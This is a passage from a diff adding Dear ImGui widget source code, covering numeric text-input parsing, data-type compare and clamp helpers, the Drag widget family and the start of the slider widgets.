} + else + { + op = 0; + } + if (!buf[0]) + return false; + + // Copy the value in an opaque buffer so we can compare at the end of the function if it changed at all. + const ImGuiDataTypeInfo* type_info = DataTypeGetInfo(data_type); + ImGuiDataTypeTempStorage data_backup; + memcpy(&data_backup, p_data, type_info->Size); + + if (format == NULL) + format = type_info->ScanFmt; + + // FIXME-LEGACY: The aim is to remove those operators and write a proper expression evaluator at some point.. + int arg1i = 0; + if (data_type == ImGuiDataType_S32) + { + int* v = (int*)p_data; + int arg0i = *v; + float arg1f = 0.0f; + if (op && sscanf(initial_value_buf, format, &arg0i) < 1) + return false; + // Store operand in a float so we can use fractional value for multipliers (*1.1), but constant always parsed as integer so we can fit big integers (e.g. 2000000003) past float precision + if (op == '+') { if (sscanf(buf, "%d", &arg1i)) *v = (int)(arg0i + arg1i); } // Add (use "+-" to subtract) + else if (op == '*') { if (sscanf(buf, "%f", &arg1f)) *v = (int)(arg0i * arg1f); } // Multiply + else if (op == '/') { if (sscanf(buf, "%f", &arg1f) && arg1f != 0.0f) *v = (int)(arg0i / arg1f); } // Divide + else { if (sscanf(buf, format, &arg1i) == 1) *v = arg1i; } // Assign constant + } + else if (data_type == ImGuiDataType_Float) + { + // For floats we have to ignore format with precision (e.g. "%.2f") because sscanf doesn't take them in + format = "%f"; + float* v = (float*)p_data; + float arg0f = *v, arg1f = 0.0f; + if (op && sscanf(initial_value_buf, format, &arg0f) < 1) + return false; + if (sscanf(buf, format, &arg1f) < 1) + return false; + if (op == '+') { *v = arg0f + arg1f; } // Add (use "+-" to subtract) + else if (op == '*') { *v = arg0f * arg1f; } // Multiply + else if (op == '/') { if (arg1f != 0.0f) *v = arg0f / arg1f; } // Divide + else { *v = arg1f; } // Assign constant + } + else if (data_type == ImGuiDataType_Double) + { + format = "%lf"; // scanf differentiate float/double unlike printf which forces everything to double because of ellipsis + double* v = (double*)p_data; + double arg0f = *v, arg1f = 0.0; + if (op && sscanf(initial_value_buf, format, &arg0f) < 1) + return false; + if (sscanf(buf, format, &arg1f) < 1) + return false; + if (op == '+') { *v = arg0f + arg1f; } // Add (use "+-" to subtract) + else if (op == '*') { *v = arg0f * arg1f; } // Multiply + else if (op == '/') { if (arg1f != 0.0f) *v = arg0f / arg1f; } // Divide + else { *v = arg1f; } // Assign constant + } + else if (data_type == ImGuiDataType_U32 || data_type == ImGuiDataType_S64 || data_type == ImGuiDataType_U64) + { + // All other types assign constant + // We don't bother handling support for legacy operators since they are a little too crappy. Instead we will later implement a proper expression evaluator in the future. + sscanf(buf, format, p_data); + } + else + { + // Small types need a 32-bit buffer to receive the result from scanf() + int v32; + sscanf(buf, format, &v32); + if (data_type == ImGuiDataType_S8) + *(ImS8*)p_data = (ImS8)ImClamp(v32, (int)IM_S8_MIN, (int)IM_S8_MAX); + else if (data_type == ImGuiDataType_U8) + *(ImU8*)p_data = (ImU8)ImClamp(v32, (int)IM_U8_MIN, (int)IM_U8_MAX); + else if (data_type == ImGuiDataType_S16) + *(ImS16*)p_data = (ImS16)ImClamp(v32, (int)IM_S16_MIN, (int)IM_S16_MAX); + else if (data_type == ImGuiDataType_U16) + *(ImU16*)p_data = (ImU16)ImClamp(v32, (int)IM_U16_MIN, (int)IM_U16_MAX); + else + IM_ASSERT(0); + } + + return memcmp(&data_backup, p_data, type_info->Size) != 0; +} + +template +static int DataTypeCompareT(const T* lhs, const T* rhs) +{ + if (*lhs < *rhs) return -1; + if (*lhs > *rhs) return +1; + return 0; +} + +int ImGui::DataTypeCompare(ImGuiDataType data_type, const void* arg_1, const void* arg_2) +{ + switch (data_type) + { + case ImGuiDataType_S8: return DataTypeCompareT((const ImS8* )arg_1, (const ImS8* )arg_2); + case ImGuiDataType_U8: return DataTypeCompareT((const ImU8* )arg_1, (const ImU8* )arg_2); + case ImGuiDataType_S16: return DataTypeCompareT((const ImS16* )arg_1, (const ImS16* )arg_2); + case ImGuiDataType_U16: return DataTypeCompareT((const ImU16* )arg_1, (const ImU16* )arg_2); + case ImGuiDataType_S32: return DataTypeCompareT((const ImS32* )arg_1, (const ImS32* )arg_2); + case ImGuiDataType_U32: return DataTypeCompareT((const ImU32* )arg_1, (const ImU32* )arg_2); + case ImGuiDataType_S64: return DataTypeCompareT((const ImS64* )arg_1, (const ImS64* )arg_2); + case ImGuiDataType_U64: return DataTypeCompareT((const ImU64* )arg_1, (const ImU64* )arg_2); + case ImGuiDataType_Float: return DataTypeCompareT((const float* )arg_1, (const float* )arg_2); + case ImGuiDataType_Double: return DataTypeCompareT((const double*)arg_1, (const double*)arg_2); + case ImGuiDataType_COUNT: break; + } + IM_ASSERT(0); + return 0; +} + +template +static bool DataTypeClampT(T* v, const T* v_min, const T* v_max) +{ + // Clamp, both sides are optional, return true if modified + if (v_min && *v < *v_min) { *v = *v_min; return true; } + if (v_max && *v > *v_max) { *v = *v_max; return true; } + return false; +} + +bool ImGui::DataTypeClamp(ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max) +{ + switch (data_type) + { + case ImGuiDataType_S8: return DataTypeClampT((ImS8* )p_data, (const ImS8* )p_min, (const ImS8* )p_max); + case ImGuiDataType_U8: return DataTypeClampT((ImU8* )p_data, (const ImU8* )p_min, (const ImU8* )p_max); + case ImGuiDataType_S16: return DataTypeClampT((ImS16* )p_data, (const ImS16* )p_min, (const ImS16* )p_max); + case ImGuiDataType_U16: return DataTypeClampT((ImU16* )p_data, (const ImU16* )p_min, (const ImU16* )p_max); + case ImGuiDataType_S32: return DataTypeClampT((ImS32* )p_data, (const ImS32* )p_min, (const ImS32* )p_max); + case ImGuiDataType_U32: return DataTypeClampT((ImU32* )p_data, (const ImU32* )p_min, (const ImU32* )p_max); + case ImGuiDataType_S64: return DataTypeClampT((ImS64* )p_data, (const ImS64* )p_min, (const ImS64* )p_max); + case ImGuiDataType_U64: return DataTypeClampT((ImU64* )p_data, (const ImU64* )p_min, (const ImU64* )p_max); + case ImGuiDataType_Float: return DataTypeClampT((float* )p_data, (const float* )p_min, (const float* )p_max); + case ImGuiDataType_Double: return DataTypeClampT((double*)p_data, (const double*)p_min, (const double*)p_max); + case ImGuiDataType_COUNT: break; + } + IM_ASSERT(0); + return false; +} + +static float GetMinimumStepAtDecimalPrecision(int decimal_precision) +{ + static const float min_steps[10] = { 1.0f, 0.1f, 0.01f, 0.001f, 0.0001f, 0.00001f, 0.000001f, 0.0000001f, 0.00000001f, 0.000000001f }; + if (decimal_precision < 0) + return FLT_MIN; + return (decimal_precision < IM_ARRAYSIZE(min_steps)) ? min_steps[decimal_precision] : ImPow(10.0f, (float)-decimal_precision); +} + +template +static const char* ImAtoi(const char* src, TYPE* output) +{ + int negative = 0; + if (*src == '-') { negative = 1; src++; } + if (*src == '+') { src++; } + TYPE v = 0; + while (*src >= '0' && *src <= '9') + v = (v * 10) + (*src++ - '0'); + *output = negative ? -v : v; + return src; +} + +template +TYPE ImGui::RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, TYPE v) +{ + const char* fmt_start = ImParseFormatFindStart(format); + if (fmt_start[0] != '%' || fmt_start[1] == '%') // Don't apply if the value is not visible in the format string + return v; + char v_str[64]; + ImFormatString(v_str, IM_ARRAYSIZE(v_str), fmt_start, v); + const char* p = v_str; + while (*p == ' ') + p++; + if (data_type == ImGuiDataType_Float || data_type == ImGuiDataType_Double) + v = (TYPE)ImAtof(p); + else + ImAtoi(p, (SIGNEDTYPE*)&v); + return v; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: DragScalar, DragFloat, DragInt, etc. +//------------------------------------------------------------------------- +// - DragBehaviorT<>() [Internal] +// - DragBehavior() [Internal] +// - DragScalar() +// - DragScalarN() +// - DragFloat() +// - DragFloat2() +// - DragFloat3() +// - DragFloat4() +// - DragFloatRange2() +// - DragInt() +// - DragInt2() +// - DragInt3() +// - DragInt4() +// - DragIntRange2() +//------------------------------------------------------------------------- + +// This is called by DragBehavior() when the widget is active (held by mouse or being manipulated with Nav controls) +template +bool ImGui::DragBehaviorT(ImGuiDataType data_type, TYPE* v, float v_speed, const TYPE v_min, const TYPE v_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiContext& g = *GImGui; + const ImGuiAxis axis = (flags & ImGuiSliderFlags_Vertical) ? ImGuiAxis_Y : ImGuiAxis_X; + const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); + const bool is_clamped = (v_min < v_max); + const bool is_logarithmic = (flags & ImGuiSliderFlags_Logarithmic) && is_decimal; + + // Default tweak speed + if (v_speed == 0.0f && is_clamped && (v_max - v_min < FLT_MAX)) + v_speed = (float)((v_max - v_min) * g.DragSpeedDefaultRatio); + + // Inputs accumulates into g.DragCurrentAccum, which is flushed into the current value as soon as it makes a difference with our precision settings + float adjust_delta = 0.0f; + if (g.ActiveIdSource == ImGuiInputSource_Mouse && IsMousePosValid() && g.IO.MouseDragMaxDistanceSqr[0] > 1.0f * 1.0f) + { + adjust_delta = g.IO.MouseDelta[axis]; + if (g.IO.KeyAlt) + adjust_delta *= 1.0f / 100.0f; + if (g.IO.KeyShift) + adjust_delta *= 10.0f; + } + else if (g.ActiveIdSource == ImGuiInputSource_Nav) + { + int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 0; + adjust_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard | ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_RepeatFast, 1.0f / 10.0f, 10.0f)[axis]; + v_speed = ImMax(v_speed, GetMinimumStepAtDecimalPrecision(decimal_precision)); + } + adjust_delta *= v_speed; + + // For vertical drag we currently assume that Up=higher value (like we do with vertical sliders). This may become a parameter. + if (axis == ImGuiAxis_Y) + adjust_delta = -adjust_delta; + + // For logarithmic use our range is effectively 0..1 so scale the delta into that range + if (is_logarithmic && (v_max - v_min < FLT_MAX) && ((v_max - v_min) > 0.000001f)) // Epsilon to avoid /0 + adjust_delta /= (float)(v_max - v_min); + + // Clear current value on activation + // Avoid altering values and clamping when we are _already_ past the limits and heading in the same direction, so e.g. if range is 0..255, current value is 300 and we are pushing to the right side, keep the 300. + bool is_just_activated = g.ActiveIdIsJustActivated; + bool is_already_past_limits_and_pushing_outward = is_clamped && ((*v >= v_max && adjust_delta > 0.0f) || (*v <= v_min && adjust_delta < 0.0f)); + if (is_just_activated || is_already_past_limits_and_pushing_outward) + { + g.DragCurrentAccum = 0.0f; + g.DragCurrentAccumDirty = false; + } + else if (adjust_delta != 0.0f) + { + g.DragCurrentAccum += adjust_delta; + g.DragCurrentAccumDirty = true; + } + + if (!g.DragCurrentAccumDirty) + return false; + + TYPE v_cur = *v; + FLOATTYPE v_old_ref_for_accum_remainder = (FLOATTYPE)0.0f; + + float logarithmic_zero_epsilon = 0.0f; // Only valid when is_logarithmic is true + const float zero_deadzone_halfsize = 0.0f; // Drag widgets have no deadzone (as it doesn't make sense) + if (is_logarithmic) + { + // When using logarithmic sliders, we need to clamp to avoid hitting zero, but our choice of clamp value greatly affects slider precision. We attempt to use the specified precision to estimate a good lower bound. + const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 1; + logarithmic_zero_epsilon = ImPow(0.1f, (float)decimal_precision); + + // Convert to parametric space, apply delta, convert back + float v_old_parametric = ScaleRatioFromValueT(data_type, v_cur, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + float v_new_parametric = v_old_parametric + g.DragCurrentAccum; + v_cur = ScaleValueFromRatioT(data_type, v_new_parametric, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + v_old_ref_for_accum_remainder = v_old_parametric; + } + else + { + v_cur += (SIGNEDTYPE)g.DragCurrentAccum; + } + + // Round to user desired precision based on format string + if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) + v_cur = RoundScalarWithFormatT(format, data_type, v_cur); + + // Preserve remainder after rounding has been applied. This also allow slow tweaking of values. + g.DragCurrentAccumDirty = false; + if (is_logarithmic) + { + // Convert to parametric space, apply delta, convert back + float v_new_parametric = ScaleRatioFromValueT(data_type, v_cur, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + g.DragCurrentAccum -= (float)(v_new_parametric - v_old_ref_for_accum_remainder); + } + else + { + g.DragCurrentAccum -= (float)((SIGNEDTYPE)v_cur - (SIGNEDTYPE)*v); + } + + // Lose zero sign for float/double + if (v_cur == (TYPE)-0) + v_cur = (TYPE)0; + + // Clamp values (+ handle overflow/wrap-around for integer types) + if (*v != v_cur && is_clamped) + { + if (v_cur < v_min || (v_cur > *v && adjust_delta < 0.0f && !is_decimal)) + v_cur = v_min; + if (v_cur > v_max || (v_cur < *v && adjust_delta > 0.0f && !is_decimal)) + v_cur = v_max; + } + + // Apply result + if (*v == v_cur) + return false; + *v = v_cur; + return true; +} + +bool ImGui::DragBehavior(ImGuiID id, ImGuiDataType data_type, void* p_v, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) +{ + // Read imgui.cpp "API BREAKING CHANGES" section for 1.78 if you hit this assert. + IM_ASSERT((flags == 1 || (flags & ImGuiSliderFlags_InvalidMask_) == 0) && "Invalid ImGuiSliderFlags flags! Has the 'float power' argument been mistakenly cast to flags? Call function with ImGuiSliderFlags_Logarithmic flags instead."); + + ImGuiContext& g = *GImGui; + if (g.ActiveId == id) + { + if (g.ActiveIdSource == ImGuiInputSource_Mouse && !g.IO.MouseDown[0]) + ClearActiveID(); + else if (g.ActiveIdSource == ImGuiInputSource_Nav && g.NavActivatePressedId == id && !g.ActiveIdIsJustActivated) + ClearActiveID(); + } + if (g.ActiveId != id) + return false; + if ((g.CurrentWindow->DC.ItemFlags & ImGuiItemFlags_ReadOnly) || (flags & ImGuiSliderFlags_ReadOnly)) + return false; + + switch (data_type) + { + case ImGuiDataType_S8: { ImS32 v32 = (ImS32)*(ImS8*)p_v; bool r = DragBehaviorT(ImGuiDataType_S32, &v32, v_speed, p_min ? *(const ImS8*) p_min : IM_S8_MIN, p_max ? *(const ImS8*)p_max : IM_S8_MAX, format, flags); if (r) *(ImS8*)p_v = (ImS8)v32; return r; } + case ImGuiDataType_U8: { ImU32 v32 = (ImU32)*(ImU8*)p_v; bool r = DragBehaviorT(ImGuiDataType_U32, &v32, v_speed, p_min ? *(const ImU8*) p_min : IM_U8_MIN, p_max ? *(const ImU8*)p_max : IM_U8_MAX, format, flags); if (r) *(ImU8*)p_v = (ImU8)v32; return r; } + case ImGuiDataType_S16: { ImS32 v32 = (ImS32)*(ImS16*)p_v; bool r = DragBehaviorT(ImGuiDataType_S32, &v32, v_speed, p_min ? *(const ImS16*)p_min : IM_S16_MIN, p_max ? *(const ImS16*)p_max : IM_S16_MAX, format, flags); if (r) *(ImS16*)p_v = (ImS16)v32; return r; } + case ImGuiDataType_U16: { ImU32 v32 = (ImU32)*(ImU16*)p_v; bool r = DragBehaviorT(ImGuiDataType_U32, &v32, v_speed, p_min ? *(const ImU16*)p_min : IM_U16_MIN, p_max ? *(const ImU16*)p_max : IM_U16_MAX, format, flags); if (r) *(ImU16*)p_v = (ImU16)v32; return r; } + case ImGuiDataType_S32: return DragBehaviorT(data_type, (ImS32*)p_v, v_speed, p_min ? *(const ImS32* )p_min : IM_S32_MIN, p_max ? *(const ImS32* )p_max : IM_S32_MAX, format, flags); + case ImGuiDataType_U32: return DragBehaviorT(data_type, (ImU32*)p_v, v_speed, p_min ? *(const ImU32* )p_min : IM_U32_MIN, p_max ? *(const ImU32* )p_max : IM_U32_MAX, format, flags); + case ImGuiDataType_S64: return DragBehaviorT(data_type, (ImS64*)p_v, v_speed, p_min ? *(const ImS64* )p_min : IM_S64_MIN, p_max ? *(const ImS64* )p_max : IM_S64_MAX, format, flags); + case ImGuiDataType_U64: return DragBehaviorT(data_type, (ImU64*)p_v, v_speed, p_min ? *(const ImU64* )p_min : IM_U64_MIN, p_max ? *(const ImU64* )p_max : IM_U64_MAX, format, flags); + case ImGuiDataType_Float: return DragBehaviorT(data_type, (float*)p_v, v_speed, p_min ? *(const float* )p_min : -FLT_MAX, p_max ? *(const float* )p_max : FLT_MAX, format, flags); + case ImGuiDataType_Double: return DragBehaviorT(data_type, (double*)p_v, v_speed, p_min ? *(const double*)p_min : -DBL_MAX, p_max ? *(const double*)p_max : DBL_MAX, format, flags); + case ImGuiDataType_COUNT: break; + } + IM_ASSERT(0); + return false; +} + +// Note: p_data, p_min and p_max are _pointers_ to a memory address holding the data. For a Drag widget, p_min and p_max are optional. +// Read code of e.g. DragFloat(), DragInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. +bool ImGui::DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + const float w = CalcItemWidth(); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); + const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); + + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id, &frame_bb)) + return false; + + // Default format string when passing NULL + if (format == NULL) + format = DataTypeGetInfo(data_type)->PrintFmt; + else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) + format = PatchFormatStringFloatToInt(format); + + // Tabbing or CTRL-clicking on Drag turns it into an input box + const bool hovered = ItemHoverable(frame_bb, id); + const bool temp_input_allowed = (flags & ImGuiSliderFlags_NoInput) == 0; + bool temp_input_is_active = temp_input_allowed && TempInputIsActive(id); + if (!temp_input_is_active) + { + const bool focus_requested = temp_input_allowed && FocusableItemRegister(window, id); + const bool clicked = (hovered && g.IO.MouseClicked[0]); + const bool double_clicked = (hovered && g.IO.MouseDoubleClicked[0]); + if (focus_requested || clicked || double_clicked || g.NavActivateId == id || g.NavInputId == id) + { + SetActiveID(id, window); + SetFocusID(id, window); + FocusWindow(window); + g.ActiveIdUsingNavDirMask = (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); + if (temp_input_allowed && (focus_requested || (clicked && g.IO.KeyCtrl) || double_clicked || g.NavInputId == id)) + { + temp_input_is_active = true; + FocusableItemUnregister(window); + } + } + } + + if (temp_input_is_active) + { + // Only clamp CTRL+Click input when ImGuiSliderFlags_AlwaysClamp is set + const bool is_clamp_input = (flags & ImGuiSliderFlags_AlwaysClamp) != 0 && (p_min == NULL || p_max == NULL || DataTypeCompare(data_type, p_min, p_max) < 0); + return TempInputScalar(frame_bb, id, label, data_type, p_data, format, is_clamp_input ? p_min : NULL, is_clamp_input ? p_max : NULL); + } + + // Draw frame + const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); + RenderNavHighlight(frame_bb, id); + RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, style.FrameRounding); + + // Drag behavior + const bool value_changed = DragBehavior(id, data_type, p_data, v_speed, p_min, p_max, format, flags); + if (value_changed) + MarkItemEdited(id); + + // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. + char value_buf[64]; + const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); + RenderTextClipped(frame_bb.Min, frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.5f)); + + if (label_size.x > 0.0f) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + return value_changed; +} + +bool ImGui::DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + bool value_changed = false; + BeginGroup(); + PushID(label); + PushMultiItemsWidths(components, CalcItemWidth()); + size_t type_size = GDataTypeInfo[data_type].Size; + for (int i = 0; i < components; i++) + { + PushID(i); + if (i > 0) + SameLine(0, g.Style.ItemInnerSpacing.x); + value_changed |= DragScalar("", data_type, p_data, v_speed, p_min, p_max, format, flags); + PopID(); + PopItemWidth(); + p_data = (void*)((char*)p_data + type_size); + } + PopID(); + + const char* label_end = FindRenderedTextEnd(label); + if (label != label_end) + { + SameLine(0, g.Style.ItemInnerSpacing.x); + TextEx(label, label_end); + } + + EndGroup(); + return value_changed; +} + +bool ImGui::DragFloat(const char* label, float* v, float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalar(label, ImGuiDataType_Float, v, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragFloat2(const char* label, float v[2], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_Float, v, 2, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragFloat3(const char* label, float v[3], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_Float, v, 3, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragFloat4(const char* label, float v[4], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_Float, v, 4, v_speed, &v_min, &v_max, format, flags); +} + +// NB: You likely want to specify the ImGuiSliderFlags_AlwaysClamp when using this. +bool ImGui::DragFloatRange2(const char* label, float* v_current_min, float* v_current_max, float v_speed, float v_min, float v_max, const char* format, const char* format_max, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + PushID(label); + BeginGroup(); + PushMultiItemsWidths(2, CalcItemWidth()); + + float min_min = (v_min >= v_max) ? -FLT_MAX : v_min; + float min_max = (v_min >= v_max) ? *v_current_max : ImMin(v_max, *v_current_max); + ImGuiSliderFlags min_flags = flags | ((min_min == min_max) ? ImGuiSliderFlags_ReadOnly : 0); + bool value_changed = DragScalar("##min", ImGuiDataType_Float, v_current_min, v_speed, &min_min, &min_max, format, min_flags); + PopItemWidth(); + SameLine(0, g.Style.ItemInnerSpacing.x); + + float max_min = (v_min >= v_max) ? *v_current_min : ImMax(v_min, *v_current_min); + float max_max = (v_min >= v_max) ? FLT_MAX : v_max; + ImGuiSliderFlags max_flags = flags | ((max_min == max_max) ? ImGuiSliderFlags_ReadOnly : 0); + value_changed |= DragScalar("##max", ImGuiDataType_Float, v_current_max, v_speed, &max_min, &max_max, format_max ? format_max : format, max_flags); + PopItemWidth(); + SameLine(0, g.Style.ItemInnerSpacing.x); + + TextEx(label, FindRenderedTextEnd(label)); + EndGroup(); + PopID(); + return value_changed; +} + +// NB: v_speed is float to allow adjusting the drag speed with more precision +bool ImGui::DragInt(const char* label, int* v, float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalar(label, ImGuiDataType_S32, v, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragInt2(const char* label, int v[2], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_S32, v, 2, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragInt3(const char* label, int v[3], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_S32, v, 3, v_speed, &v_min, &v_max, format, flags); +} + +bool ImGui::DragInt4(const char* label, int v[4], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return DragScalarN(label, ImGuiDataType_S32, v, 4, v_speed, &v_min, &v_max, format, flags); +} + +// NB: You likely want to specify the ImGuiSliderFlags_AlwaysClamp when using this. +bool ImGui::DragIntRange2(const char* label, int* v_current_min, int* v_current_max, float v_speed, int v_min, int v_max, const char* format, const char* format_max, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + PushID(label); + BeginGroup(); + PushMultiItemsWidths(2, CalcItemWidth()); + + int min_min = (v_min >= v_max) ? INT_MIN : v_min; + int min_max = (v_min >= v_max) ? *v_current_max : ImMin(v_max, *v_current_max); + ImGuiSliderFlags min_flags = flags | ((min_min == min_max) ? ImGuiSliderFlags_ReadOnly : 0); + bool value_changed = DragInt("##min", v_current_min, v_speed, min_min, min_max, format, min_flags); + PopItemWidth(); + SameLine(0, g.Style.ItemInnerSpacing.x); + + int max_min = (v_min >= v_max) ? *v_current_min : ImMax(v_min, *v_current_min); + int max_max = (v_min >= v_max) ? INT_MAX : v_max; + ImGuiSliderFlags max_flags = flags | ((max_min == max_max) ? ImGuiSliderFlags_ReadOnly : 0); + value_changed |= DragInt("##max", v_current_max, v_speed, max_min, max_max, format_max ? format_max : format, max_flags); + PopItemWidth(); + SameLine(0, g.Style.ItemInnerSpacing.x); + + TextEx(label, FindRenderedTextEnd(label)); + EndGroup(); + PopID(); + + return value_changed; +} + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + +// Obsolete versions with power parameter. See https://github.com/ocornut/imgui/issues/3361 for details. +bool ImGui::DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, float power) +{ + ImGuiSliderFlags drag_flags = ImGuiSliderFlags_None; + if (power != 1.0f) + { + IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); + IM_ASSERT(p_min != NULL && p_max != NULL); // When using a power curve the drag needs to have known bounds + drag_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths + } + return DragScalar(label, data_type, p_data, v_speed, p_min, p_max, format, drag_flags); +} + +bool ImGui::DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, float power) +{ + ImGuiSliderFlags drag_flags = ImGuiSliderFlags_None; + if (power != 1.0f) + { + IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); + IM_ASSERT(p_min != NULL && p_max != NULL); // When using a power curve the drag needs to have known bounds + drag_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths + } + return DragScalarN(label, data_type, p_data, components, v_speed, p_min, p_max, format, drag_flags); +} + +#endif // IMGUI_DISABLE_OBSOLETE_FUNCTIONS + +//------------------------------------------------------------------------- +// [SECTION] Widgets: SliderScalar, SliderFloat, SliderInt, etc. +//------------------------------------------------------------------------- +// - ScaleRatioFromValueT<> [Internal] +// - ScaleValueFromRatioT<> [Internal] +// - SliderBehaviorT<>() [Internal] +// - SliderBehavior() [Internal] +// - SliderScalar() +// - SliderScalarN() +// - SliderFloat() +// - SliderFloat2() +// - SliderFloat3() +// - SliderFloat4() +// - SliderAngle() +// - SliderInt() +// - SliderInt2() +// - SliderInt3() +// - SliderInt4() +// - VSliderScalar() +// - VSliderFloat() +// - VSliderInt() +//------------------------------------------------------------------------- + +// Convert a value v in the output space of a slider into a parametric position on the slider itself (the logical opposite of ScaleValueFromRatioT) +template +float ImGui::ScaleRatioFromValueT(ImGuiDataType data_type, TYPE v, TYPE v_min, TYPE v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_halfsize) +{ + if (v_min == v_max) + return 0.0f; + IM_UNUSED(data_type); + + const TYPE v_clamped = (v_min < v_max) ? ImClamp(v, v_min, v_max) : ImClamp(v, v_max, v_min); + if (is_logarithmic) + { + bool flipped = v_max < v_min; + + if (flipped) // Handle the case where the range is backwards + ImSwap(v_min, v_max); + + // Fudge min/max to avoid getting close to log(0) + FLOATTYPE v_min_fudged = (ImAbs((FLOATTYPE)v_min) < logarithmic_zero_epsilon) ? ((v_min < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_min; + FLOATTYPE v_max_fudged = (ImAbs((FLOATTYPE)v_max) < logarithmic_zero_epsilon) ? ((v_max < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_max; + + // Awkward special cases - we need ranges of the form (-100 .. 0) to convert to (-100 .. -epsilon), not (-100 .. epsilon) + if ((v_min == 0.0f) && (v_max < 0.0f)) + v_min_fudged = -logarithmic_zero_epsilon; + else if ((v_max == 0.0f) && (v_min < 0.0f)) + v_max_fudged = -logarithmic_zero_epsilon; + + float result; + + if (v_clamped <= v_min_fudged) + result = 0.0f; // Workaround for values that are in-range but below our fudge + else if (v_clamped >= v_max_fudged) + result = 1.0f; // Workaround for values that are in-range but above our fudge + else if ((v_min * v_max) < 0.0f) // Range crosses zero, so split into two portions + { + float zero_point_center = (-(float)v_min) / ((float)v_max - (float)v_min); // The zero point in parametric space. There's an argument we should take the logarithmic nature into account when calculating this, but for now this should do (and the most common case of a symmetrical range works fine) + float zero_point_snap_L = zero_point_center - zero_deadzone_halfsize; + float zero_point_snap_R = zero_point_center + zero_deadzone_halfsize; + if (v == 0.0f) + result = zero_point_center; // Special case for exactly zero + else if (v < 0.0f) + result = (1.0f - (float)(ImLog(-(FLOATTYPE)v_clamped / logarithmic_zero_epsilon) / 